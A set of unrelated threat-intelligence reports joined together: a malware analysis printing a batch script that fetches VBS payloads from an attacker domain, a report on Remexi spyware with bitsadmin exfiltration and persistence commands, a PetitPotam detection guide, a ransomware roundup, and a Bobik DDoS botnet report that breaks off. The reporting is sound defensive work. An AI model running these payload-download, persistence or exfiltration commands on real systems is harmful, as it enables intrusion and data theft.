menu\programs\startup\OneNote.vbs" https://dusieme.com/hwp/d.php?na=colegg1.gif curl -o "%appdata%\microsoft\windows\colegg2.vbs" https://dusieme.com/hwp/d.php?na=colegg2.gif curl -o "%appdata%\microsoft\windows\colegg3.vbs" https://dusieme.com/hwp/d.php?na=colegg3.gif curl -o "%appdata%\microsoft\windows\1.xml" https://dusieme.com/hwp/d.php?na=sched.gif schtasks /create /tn IdleSetting /xml %appdata%\microsoft\windows\1.xml /f dir "%appdata%\microsoft\windows\*.*" >> "%appdata%\microsoft\windows\1.log" dir "C:\Program Files (x86)\*.*" >> "%appdata%\microsoft\windows\1.log" dir "C:\Program Files\*.*" >> "%appdata%\microsoft\windows\1.log" tasklist >> "%appdata%\microsoft\windows\1.log" C:\Windows\System32\wscript.exe /b "%appdata%\microsoft\windows\colegg3.vbs" del "%temp%\~DF9B1C729B001D998E.tmp" del "%temp%\urlmon.dll" del "%temp%\OneDriveStandaloneUpdater.exe" taskkill /im hwp.exe /f copy "%temp%\The Burden of the Unintended.tmp" "%userprofile%\Downloads\The Burden of the Unintended.hwp" /y "%userprofile%\Downloads\The Burden of the Unintended.hwp" del "%temp%\The Burden of the Unintended.tmp" del "%~f0" ``` ## IOCs **Network:** - souibi.com - dusieme.com - eislesf.live - ielsems.com - ilijw.live - siekis.com - soekfes.live - sqiesbob.com - (compromised) - frebough.com - hodbeast.com - newspeers.com - newspeers.us - visitnewsworld.xyz - docsac **Commands:** ```batch reg add HKEY_CURRENT_USER\Software\RegisteredApplications /v AppXr1bysyqf6kpaq1aje5sbadka8dgx3g4g /t reg_sz /d <vb code> schtasks /create /tn "Diagnosis\Windows Defender\Microsoft-Windows-UpdateDefender5" /tr "wscript.execmd.exe /c copy ""%appdata%\microsoft\windows\c1.tmp"" ""%appdata%\microsoft\windows\c1.bat"" & ""%appdata%\microsoft\windows\c1.bat"" & del ""%appdata%\microsoft\windows\c1.tmp"" cmd.exe /c copy "%appdata%\microsoft\windows\c2.tmp" "%appdata%\microsoft\windows\c2.bat" & ""%appdata%\microsoft\windows\c2.bat"" & del "%appdata%\microsoft\windows\c2.tmp" ws.run("certutil -f -encode ""%appdata%\microsoft\windows\1.log"" ""%appdata%\microsoft\windows\2.log""",0,true) wscript.exe /b "%appdata%\microsoft\windows\colegg2.vbs" cmd.exe /c copy "%appdata%\\microsoft\\windows\\wctDC18.tmp" "%appdata%\\microsoft\\windows\\wctDC18.bat" & "%appdata%\\microsoft\\windows\\wctDC18.bat" & del "%appdata%\\microsoft\\windows\\wctDC18.tmp" reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f ``` **Recovered Documents:** 42805ec97173c4a074580d473aeecbe4b57e9474698823fcb300ad29b2ddd657ed424b7dbe6ce5dfdd051f
# Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities **Authors** Denis Legezo ## Executive Summary Throughout the autumn of 2018, we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer. The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests. Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive. XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys, once the word “salamati” was also used, which means “health” in Farsi. Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent. This blog post is based on our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: [email protected] ## Technical analysis The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest module’s compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment. Inside the binaries, the compiler left references to the names of the C source file modules used: “operation_reg.c”, “thread_command.c” and “thread_upload.c”. Like mentioned in modules file names, the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP. ## Proliferation So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi’s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. The FTP server was not accessible anymore at the time of our analysis. ## Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data. Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below. | Utility | Usage | |------------------|-----------------------------------------------------------------------| | extract.exe | Deploys modules from the .cab file into the working Event Cache directory | | bitsadmin.exe | Fetches files from the C2 server to parse and execute commands. Send exfiltrated data | | taskkill.exe | Ends working cycle of modules | ## Persistence Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, the main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows: Then it creates a Windows scheduled task using the following command: ``` schtasks.exe /create /TN "Events\\CacheTask_" /XML "t /F" ``` At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of compromise are mentioned in the corresponding appendix below. ## Commands All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them. | Command | Description | |--------------------|-----------------------------------------------------------------------------| | search | Searches for corresponding files | | search&upload | Encrypts and adds the corresponding files to the upload directory with the provided name | | uploadfile | Encrypts and adds the specified file to the upload directory with the provided name | | uploadfolder | Encrypts and adds the mentioned directory to the upload directory with the provided name | | shellexecute | Silently executes received command with cmd.exe | | wmic | Silently executes received command with wmic.exe (for WMI commands) | | sendIEPass | Encrypts and adds all gathered browser data into files for upload to C2 | | uninstall | Removes files, directory and BITS tasks | ## Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys, once the word “salamati” was also used, which means “health” in Farsi. ## Configuration Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields: | Field | Sample value | Description | |-------------------------------------------|------------------------------|-----------------------------------------------------------------------------| | diskFullityCheckRatio | 1.4 | Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio | | captureScreenTimeOut | 72 | Probability of full and active window screenshots being taken after mouse click | | captureActiveWindowTimeOut | 313 | | | captureScreenQC | 40 | Not really used. Probably full and active window screenshot quality | | captureActiveQC | 40 | | | CaptureSites | VPN*0,0 | Window titles of interest for screenshots, using left mouse button and Enter keypress hook | | important | upLog.txt | List of files to send to C2 using bitsadmin.exe from the dedicated thread | | maxUpFileSizeKByte | 1000000 | Maximum size of file uploaded to C2 | | Servers | http://108.61.189.174 | Control server HTTP URL | | ZipPass | KtJvOXulgibfiHk | Password for uploaded zip archives | | browserPasswordCheckTimeout | 300000 | Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread | Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive. One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot. ## Main module (events.exe) SHA256: b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 MD5: c981273c32b581de824e1fd66a19a281 Compiled: GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler Type: I386 Windows GUI EXE Size: 68 608 After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments: ``` expand.exe -r "" -f:* "\\" ``` Then it decrypts the config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads: | ID | Thread description | |----|-----------------------------------------------------------------------------------| | 1 | Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility | | 2 | Decrypts command from registry using RC4 with a hardcoded key, and executes it | | 3 | Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi) | | 4 | Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies | | 5 | Checks network connection, encrypts and sends gathered logs | | 6 | Unhooks mouse and keyboard, removes bitsadmin task | | 7 | Checks if malware’s working directory size already exceeds its threshold | | 8 | Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads | The malware uses the following command to receive data from its C2: ``` bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal http:///asp.asp?ui=nrg-- ``` ## Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc. SHA256: a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff MD5: 1ff40e79d673461cd33bd8b68f8bb5b8 Compiled: 2017.08.06 11:32:36 (GMT), 2.22 Type: I386 Windows Console EXE Size: 101 888 Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters: | Parameter | Description | |------------------|-----------------------------------------------------------------------------| | -scr | Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”) | | -ms | Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take | | -zip | Name of password (from configuration data) protected zip archive | | -clipboard | Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration | ## Data exfiltration Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2: ``` bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "/YP01__" "" ``` ## Victims The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country. ## Attribution The Remexi malware has been associated with an APT actor called Chafer by Symantec. One of the human-readable encryption keys used is “salamati”. This is probably the Latin spelling for the word “health” in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “Mohamadreza New”. Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag. ## Conclusions Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and C&C registration, it’s possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East. We will continue to monitor how this set of activity develops in the future. ## Indicators of compromise **File hashes** events.exe 028515d12e9d59d272a2538045d1f636 03055149340b7a1fd218006c98b30482 25469ddaeff0dd3edb0f39bbe1dcdc46 41b2339950d50cf678c0e5b34e68f537 4bf178f778255b6e72a317c2eb8f4103 7d1efce9c06a310627f47e7d70543aaf 9f313e8ef91ac899a27575bc5af64051 aa6246dc04e9089e366cc57a447fc3a4 c981273c32b581de824e1fd66a19a281 dcb0ea3a540205ad11f32b67030c1e5a splitter.exe c6721344af76403e9a7d816502dca1c8 d3a2b41b1cd953d254c0fc88071e5027 1FF40E79D673461CD33BD8B68F8BB5B8 ecae141bb068131108c1cd826c82d88b 12477223678e4a41020e66faebd3dd95 460211f1c19f8b213ffaafcdda2a7295 53e035273164f24c200262d61fa374ca **Domains and IPs** 108.61.189.174 **Hardcoded mutexes** Local\TEMPDAHCE01 Local\zaapr Local\reezaaprLog Local\{Temp-00-aa-123-mr-bbb} **Scheduled task** CacheTask_<user_name_here> **Directory with malicious modules** Main malware directory: %APPDATA%\Microsoft\Event Cache Commands from C2 in subdirectory: Cache001\cde00.acf **Events.exe persistence records in Windows system registry keys** HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager **Victims’ fingerprints stored in** HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData **RC4 encrypted C2 commands stored in** HKCU\SOFTWARE\Microsoft\Fax **HTTP requests template** http://<server_ip_from_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name> And bitsadmin.exe task to external network resources, addressed by IP addresses.
# Detecting and Hunting for the PetitPotam NTLM Relay Attack ## Overview During the week of July 19th, 2021, information security researchers published a proof of concept tool named “PetitPotam” that exploits a flaw in Microsoft Windows Active Directory Certificate Servers with an NTLM relay attack. The flaw allows an attacker to gain administrative privileges of an Active Directory Certificate Server once on the network with another exploit or malware infecting a system. The following details are provided to assist organizations in detecting and threat hunting for this and other similar types of threats. ## Preparation The default settings of Windows logging do not often catch advanced threats. Therefore, Windows Advanced Audit Logging must be optimally configured to detect and to be able to threat hunt PetitPotam and similar attacks. Organizations should have a standard procedure to configure the Windows Advanced Audit Policies as a part of a complete security program and have each Windows system collect locally significant events. NCC Group recommends using the following resource to configure Windows Advanced Audit Policies: Malware Archaeology – Windows Logging Cheat Sheets. Log rotation can be another major issue with Windows default log settings. Both the default log size should be increased to support detection engineering and threat hunting. Ideally, organizations should forward event logs to a log management or SIEM solution to operationalize detection alerts and provide a central console where threat hunting can be performed. Alternatively, with optimally configured log sizes, teams can run tools such as PowerShell or LOG-MD to hunt for malicious activity against the local log data. ## Detecting and Threat Hunting NTLM Relay Attacks The PetitPotam attack targets Active Directory servers running certificate services, so this will be the focus of the detection and hunting. Event log data is needed to detect or hunt for PetitPotam. The following settings and events can be used to detect this malicious activity: ### Malicious Logins PetitPotam will generate an odd login that can be used to detect and hunt for indications of execution. To collect Event ID 4624, the Windows Advanced Audit Policy will need to have the following policy enabled: **Logon/Logoff – Audit Logon = Success and Failure** The following query logic can be used: - Event Log = Security - Event ID = 4624 - User = ANONYMOUS LOGON - Authentication Package Name = NTLM* - Elevated Token – *1842 **Sample Query** The following query is based on Elastic’s WinLogBeat version 7 agent. ``` “event.code”=”4624″ and winlog.event_data.AuthenticationPackageName=”NTLM*” and winlog.event_data.ElevatedToken=”*1842″ | PackageName:=winlog.event_data.AuthenticationPackageName | Token:=winlog.event_data.ElevatedToken | WS_Name:=winlog.event_data.WorkstationName | LogonProcess:=winlog.event_data.LogonProcessName | LogonType:=winlog.event_data.LogonType | ProcessName:=winlog.event_data.ProcessName | UserName:=winlog.event_data.SubjectUserName | Domain:=winlog.event_data.SubjectDomainName | TargetDomain:=winlog.event_data.TargetDomainName | TargetUser:=winlog.event_data.TargetUserName | Task:=winlog.event_data.TargetUserName | table([event.code, @timestamp, host.name, event.outcome, WS_Name, UserName, Domain, Token, PackageName, LogonProcess, LogonType, ProcessName, TargetDomain, TargetUser, Task]) ``` ### Malicious Share Access PetitPotam will generate odd network share connections that can be used to detect and hunt for indications of execution. To collect Event ID 5145, the Windows Advanced Audit Policy will need to have the following policy enabled: **Object Access – Audit Detailed File Share = Success** **Object Access – File Share = Success** The following query logic can be used: - Event Log = Security - Event ID = 5145 - Object Name = *IPC* - Target Name = (“lsarpc” or “efsrpc” or “lsass” or “samr” or “netlogon”) **Sample Query** The following query is based on Elastic’s WinLogBeat version 7 agent. ``` “event.code”=”5145” and winlog.event_data.ShareName=*IPC* and (“lsarpc” or “efsrpc” or “lsass” or “samr” or “netlogon” or “srvsvc”) | Status:= keywords[0] | Src_IP:= winlog.event_data.IpAddress | PID:= winlog.process.pid | UserName:=winlog.event_data.SubjectUserName | Domain:= winlog.event_data.SubjectDomainName | Target_File:= winlog.event_data.RelativeTargetName | Path:= winlog.event_data.ShareLocalPath | Share:= winlog.event_data.ShareName | ObjectType:=winlog.event_data.ObjectType | table([event.code, @timestamp, host.name, Status, Src_IP, PID, UserName, Domain, task, Path, Share, Target_File, ObjectType]) ``` If you find any false positives, validating them and excluding or refining the query may be needed. We hope this information can assist your detection and threat hunting efforts to detect this and similar types of attacks.
# Ransomware Roundup: New Inlock and Xorist Variants **November 10, 2022** FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The bi-weekly Ransomware Roundup report provides brief insights into the evolving ransomware landscape along with the Fortinet solutions that protect against those variants. This latest edition covers the Inlock ransomware and a new variant of the Xorist ransomware that appears to target Cuba. **Affected platforms:** Microsoft Windows **Impacted parties:** Microsoft Windows Users **Impact:** Encrypts files on the compromised machine and demands ransom for file decryption **Severity level:** High ## Inlock Ransomware Inlock is a typical ransomware that encrypts files on a compromised machine and demands ransom from a victim in exchange for recovering the affected files. Files encrypted by this latest variant have a “.inlock” file extension. It also leaves a ransom note titled `READ_IT.txt`, which contains a ransom message in Spanish. The ransom message translated into English reads: **YOUR COMPUTER HAS BEEN ENCRYPTED!!!** We are very sorry, but you have been the target of a cyber attack. All your personal data has been encrypted. Please contact me to negotiate the ransom. Once I receive the payment, I will send you the decryption tool to decrypt all the files. I hope you have nothing of great value ;) Do not lose the following code or you will never be able to recover your data again: It also changes the desktop wallpaper. An apparent design failure in the Inlock ransomware is that it does not provide any contact information so victims can reach out to the attacker about file decryption. The ransomware also deletes volume shadow copies. With no attacker contact information available, victims cannot recover their encrypted files. ## New Variant of Xorist Ransomware FortiGuard Labs also recently came across a new variant of the Xorist ransomware. The Xorist ransomware family has been in the wild for at least five years, with some reports suggesting its lifespan has been closer to a decade. While we do not know precisely how this new Xorist ransomware variant is distributed to victims, there are a few clues. For example, the ransomware’s executable file is named `Ley del Presidente y Vicepresidente de la República de Cuba.pdf.exe`, which translates to “Law of the President and Vice President of the Republic of Cuba.pdf.exe.” Another clue is that relevant samples were primarily submitted to VirusTotal on October 31st from Cuba. Coincidentally, a benign PDF file, `Ley del Presidente y Vicepresidente de la República de Cuba.pdf`, was submitted to VirusTotal on the same day. This PDF is labeled as the “Official Gazette of the Republic of Cuba” on the National Assembly of People's Power held in late 2020. Its parent file is a self-extracting .rar file that contains the PDF file but is also designed to launch a missing `You Are Hacked.exe` application, which is the name of the file being dropped by samples of this Xorist ransomware variant. We believe that the missing `You Are Hacked.exe` application was removed by the VirusTotal uploader prior to the file submission. This information leads us to believe that the attacker prepared two types of files to distribute the Xorist variant: a fake PDF file that attempts to fool victims into thinking they’ve opened a legitimate file issued by the Cuban government and another fake PDF file that is actually a malicious executable. The Xorist ransomware variant leaves a ransom note in Spanish. The ransom message translated into English reads: **ATTENTION!** ALL YOUR FILES ARE ENCRYPTED! To restore your files and access them, please send $100 in Bitcoin to this QR code. IF YOU DO NOT PAY WITHIN 48 HOURS ALL YOUR FILES WILL BE DELETED IRREVERSIBLY YOU HAVE 5 ATTEMPTS TO ENTER YOUR CORRECT CODE. The ransom demand is $100 worth of Bitcoin, which is considered cheap for Enterprises. These clues are enough for us to conclude that this Xorist ransomware variant was likely designed to target consumers in Cuba. The ransomware also replaces the desktop wallpaper with a ransom message. It includes a QR code with the attacker’s Bitcoin wallet address. As of this writing, this wallet has not recorded a single transaction. ## Fortinet Protections Fortinet customers are already protected from these malware variants through FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, and FortiEDR services, as follows: FortiGuard Labs detects the ransomware variants covered in this blog with the following AV signatures: - W32/Filecoder.Q!tr.ransom - PossibleThreat - W32/PossibleThreat ### IOCs **Inlock ransomware variant** `96e48ea92e40ebe25e26aa769b38cbe27f26f2718d184a6ba2fd3bb900992ebd` **Xorist ransomware variant** `14cdb3735feec79d1bfbbcca899bc209b20e97283e7e600ff930b0019abeaef6` `7d3075d8426c817154b05b695d6196e5ea977a67d0132cf552851f237c166f5e` `097f45297c3595c45ccf60dff0508e77cbd7b96c9f1caca172635dcccf04f7a3` `95c2dd45f074296cbbbfb37c004ebdf3db4240821cb8a8bba5ce6710285e4b4d` `38f226d2c7ac8a803d3d1233a234a0c60d2ce88528fcf48092223e88eedf5023` (benign PDF file) ## FortiGuard Labs Guidance Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of personally identifiable information (PII), it is vital to keep all AV and IPS signatures up to date. Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats: The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks. Our FREE NSE training: NSE 1 – Information Security Awareness includes a module on internet threats designed to help end users learn how to identify and protect themselves from various types of phishing attacks and can be easily added to internal training programs. Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack. As part of the industry's leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts. ## Best Practices include Not Paying a Ransom Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because payment does not guarantee that files will be recovered. According to a U.S. Department of Treasury's Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3). ## How Fortinet Can Help FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. And our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises). Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard AI-powered security services portfolio.
# Pro-Russian Group Targeting Ukraine Supporters with DDoS Attacks **by Martin Chlumecký** **September 6, 2022** It has now been six months since the war in Ukraine began. Since then, pro-Russian and pro-Ukrainian hacker groups, like KillNet, Anonymous, IT Army of Ukraine, and Legion Spetsnaz RF, have carried out cyberattacks. A lesser-known group called NoName057(16) is among the pro-Russian groups attacking Ukraine and the countries surrounding it that side with Ukraine. NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Estonia, Lithuania, Norway, and Poland. A full list of the group’s targets can be found at the end of this post. To carry out DDoS attacks, hacker groups utilize botnets. They control them via C&C servers, sending commands to individual bots, which essentially act as soldiers. Uncovering and tracking botnets is complex and time-consuming. We got our hands on malware called Bobik. Bobik is not new; it’s been around since 2020 and is known as a Remote Access Trojan. Recently, devices infected with Bobik have become part of a botnet, carrying out DDoS attacks for NoName057(16). We can confidently attribute the attacks to the group, as we have analyzed and compared what the C&C server is instructing devices infected with Bobik to do with the attacks the group claims to be responsible for on their Telegram channel. ## Toolset The bots used by the botnet are infected with malware called Bobik, which is written in .NET. The malware has not been tied to a certain group in the past and is actually a Remote Access Trojan. Its spyware functionalities include keylogging, running and terminating processes, collecting system information, downloading/uploading files, and dropping further malware onto infected devices. ## Kill Chain In the wild, one of the most monitored droppers for Bobik is RedLine Stealer, a botnet-as-a-service cybercriminals can pay for to spread their malware of choice. The usual workflow of Bobik is illustrated in the image below. At first, an unknown group seems to have purchased RedLine Stealer to deploy Bobik. The final DDoS module deployment is composed of two basic stages. The first executes Bobik’s Updater via a RedLine Stealer bot. In the second stage, Bobik’s Updater extracts and drops the final DDoS module (Bobik’s RuntimeBroker) and ensures the module’s persistence. When RuntimeBroker is run, the module contacts a C&C server and downloads a configuration file defining targets for DDoS attacks. The module then starts the attacks using a defined count of threads, usually five threads. The detailed workflow of the Bobik deployment is shown below. The RedLine Stealer Cryptic (installer) deobfuscates the .NET payload of Bobik’s Updater and injects it into the newly created process of the .NET ClickOnce Launch Utility (AppLaunch.exe). The same process is used to execute Bobik’s RuntimeBroker (the DDoS module) because the dropped RuntimeBroker is also packaged and obfuscated via RedLine Stealer Cryptic. Therefore, the dropped Bobik’s RuntimeBroker also deobfuscates the .NET payload of Bobik’s RuntimeBroker and injects it into another AppLaunch process. After all these steps, Bobik’s DDoS module is deployed, persistent, and ready to attack. ## C&C Servers and Communication Since June 1, 2022, we have observed Bobik’s network activities. Bobik bots communicate with C&C servers located in Russia and Romania. These two servers are already offline. However, another Romanian server is still active and able to send commands to the bots. Since tracking the botnet activity, we have captured three production C&C servers controlling Bobik bots and one development server. The servers run on OS Ubuntu with Nginx (v 1.18.0). RiskIQ reports all servers as malicious with self-signed certificates and servers with bad reputations that previously hosted many suspicious services. **Server 1** The last active server is 2.57.122.243, located in Romania, and its first Bobik’s activity we saw was on June 13, 2022. We also have two DNS records for this malicious server: v9agm8uwtjmz.sytes.net and q7zemy6zc7ptaeks.servehttp.com. **Server 2** The second server 2.57.122.82 is also in Romania, but the communication with the Bobik bots was deactivated around July 14, 2022. The server is still active. Nevertheless, the server responds with a 502 HTTP code (Bad Gateway). Based on the findings from Server 1, this server used the same v9agm8uwtjmz.sytes.net DNS record, which was reconfigured to Server 1 in the middle of June. **Server 3** The first Bobik’s C&C server we saw was 77.232.41.206 in Russia. The server had opened ports 80 and 443 until June 9, 2022. It is not usable and therefore de facto offline by Bobik bots because there is only one opened port for OpenSSH since Bobik requires port 80 for its C&C communication. **Dev Server** One of the C&C servers is a suspected development server at 109.107.181.130, listening on port 5001. The server has been active since April and is located in Russia; its reputation is also suspicious. Avast has not detected any hits for this server in the wild. However, one Python sample uses the server as a testing environment. ## C&C Communication The communication between Bobik bots and the C&C servers is mediated using a simple unsecured HTTP request and response via the Nginx web server. The bots obtain appropriate commands from the C&Cs utilizing a URL. ### Request The request URL uses the following template: `http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]` - **ip**: Bobik bots hardcode one of the C&C IPs or one of the DNS records. - **request**: defines the purpose of the communications; we registered three types of requests in the form of a GUID. - **notice**: the bots report their states. - **admin**: this request can open the admin console of the Nginx web server. - **dropper**: is a path to a malicious executable representing Bobik’s RuntimeBroker followed by an exe file name. The exact GUIDs are listed in the Appendix. - **id**: the hash is computed from Windows Management Instrumentation (WMI) information about a victim’s machine. - **v**: the Bobik version; Avast has captured sample versions ranging from 8 to 19. - **pr**: is a flag (0,1) representing whether the communication with C&C has timed out at least once. A body of the HTTP request contains one simple XML tag with information about the victim. ### Response The body of the HTTP response contains an encrypted and gzipped XML file configuring bots to the defined DDoS attacks. The encrypted XML file has an elementary structure. Most of the XML attributes are intuitive, so we will just explain the compound brackets in the path and body attributes. The configuration often uses dynamically generated pieces (definitions) like this: `{.,15,20}`. The definition dictates what long random text should be generated and in which position. The definitions are abundantly applied in the path or body of the HTTP requests, where the attackers expect an increased load on the server. For instance, the first `<task>` uses this definition: `query={.,15,20}`, which means that the bots generate random texts of 15 – 20 characters long as requests to, for example, the calendar of Poland’s presidential office. For the most part, we captured definitions sending data to login pages, password recovery sites, and site searches. ### Bobik Botnet The Avast telemetry data cannot paint a precise picture of the botnet’s size, but we can estimate the approximate representation of Bobik in the wild. The map shows where, according to Avast’s telemetry, the bots that attempt to carry out DDoS attacks for NoName057(16) are located. Most of the bots are located in Brazil, India, and Southeast Asia. According to our data, the number of Bobik bots is a few hundred. However, the total number must be much larger considering the DDoS attacks’ acute effectiveness and frequency. We, therefore, estimate there are thousands of Bobik bots in the wild. ## Selection of DDoS Targets We estimated a procedure as to how the attackers determine which web servers to DDoS attack because we have configurations of unsuccessful attacks. The first step is looking for a target that supports Ukraine or a target with anti-Russian views. The attackers analyze the structure of the target’s website and identify pages that can cause server overloading, especially requests requiring higher computing time, such as searching, password resetting, login, etc. The second step is filling in the XML template, encrypting it, and deploying it to the C&C servers. The attackers monitor the condition of the target server and modify the XML configuration based on needs to be more effective. The configuration is changed approximately three times per day. If the attack is unsuccessful, a new target is selected, and the whole procedure of selection is repeated. ## Targets In the first phase, the attackers targeted Ukrainian news servers they defined as being against the war in Ukraine. Then, the attacks targeted websites belonging to Ukrainian cities, local governments, distribution of electrical power, Ukrainian companies supplying the Ukraine army with weapons, railway, bus companies, and postal offices. The second phase targeted organizations publicly supporting Ukraine financially or materially, like Ukrainian banks and financial institutions, and operators of local Ukraine gas reservoirs that publicly declared help for the defenders of Ukraine. As the political situation around the war changed, so did the targets of the DDoS attacks. Bobik performed DDoS 